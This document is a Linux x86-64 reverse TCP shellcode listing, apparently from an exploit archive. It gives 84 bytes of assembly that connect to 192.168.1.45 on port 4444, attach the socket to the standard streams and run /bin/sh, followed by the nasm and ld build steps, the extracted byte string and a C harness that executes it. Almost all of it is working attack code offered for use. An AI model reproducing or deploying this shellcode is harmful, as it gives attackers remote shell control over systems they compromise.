84 bytes small Linux/x86-64 reverse shell shellcode.
8ad83cea9a4b6b006ad4a960d1247492/*
Title: Linux/x86-64 - Reverse TCP shellcode - 84 bytes
Author: Manuel Mancera (@sinkmanu)
Tested on: 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1 (2016-12-30) x86_64
GNU/Linux
----------------- Assembly code -------------------
section .text
global _start
_start:
push 0x2d01a8c0 ; Address (192.168.1.45)
push word 0x5c11 ; Port (4444)
push word 2 ; Address family -
AF_INET (0x2)
push 42 ; connect syscall
push byte 16 ; length
push byte 41 ; socket syscall
push byte 1 ; type - SOCK_STREAM (0x1)
push byte 2 ; family - AF_INET (0x2)
pop rdi ; family
pop rsi ; type
xor rdx, rdx ; protocol
pop rax ; socket syscall
syscall
mov rdi, rax ; sockfd
pop rdx ; length
pop rax ; connect syscall
mov rsi, rsp ; sockaddr
syscall
xor rsi, rsi
loop:
mov al, 33
syscall
inc rsi
cmp rsi, 2
jle loop
xor rax, rax
mov rdi, 0x68732f6e69622f2f
xor rsi, rsi
push rsi
push rdi
mov rdi, rsp
xor rdx, rdx
mov al, 59
syscall
---------------------------------------------------
$ nasm -f elf64 reverse-tcp-shell.asm -o reverse-tcp-shell.o
$ ld reverse-tcp-shell.o -o reverse-tcp-shell
$ objdump -d ./reverse-tcp-shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2
-d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/
/\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x68\xc0\xa8\x01\x2d\x66\x68\x11\x5c\x66\x6a\x02\x6a\x2a\x6a\x10\x6a\x29\x6a\x01\x6a\x02\x5f\x5e\x48\x31\xd2\x58\x0f\x05\x48\x89\xc7\x5a\x58\x48\x89\xe6\x0f\x05\x48\x31\xf6\xb0\x21\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02\x7e\xf3\x48\x31\xc0\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\x31\xf6\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05"
$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
$ ./shellcode
Length: 84 bytes
*/
#include <stdio.h>
#include <string.h>
const char code[] = \
"\x68\xc0\xa8\x01\x2d\x66\x68\x11\x5c\x66\x6a\x02\x6a\x2a\x6a\x10\x6a\x29\x6a\x01\x6a\x02\x5f\x5e\x48\x31\xd2\x58\x0f\x05\x48\x89\xc7\x5a\x58\x48\x89\xe6\x0f\x05\x48\x31\xf6\xb0\x21\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02\x7e\xf3\x48\x31\xc0\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\x31\xf6\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05";
int main()
{
printf("Length: %d bytes\n", strlen(code));
(*(void(*)()) code)();
return 0;
}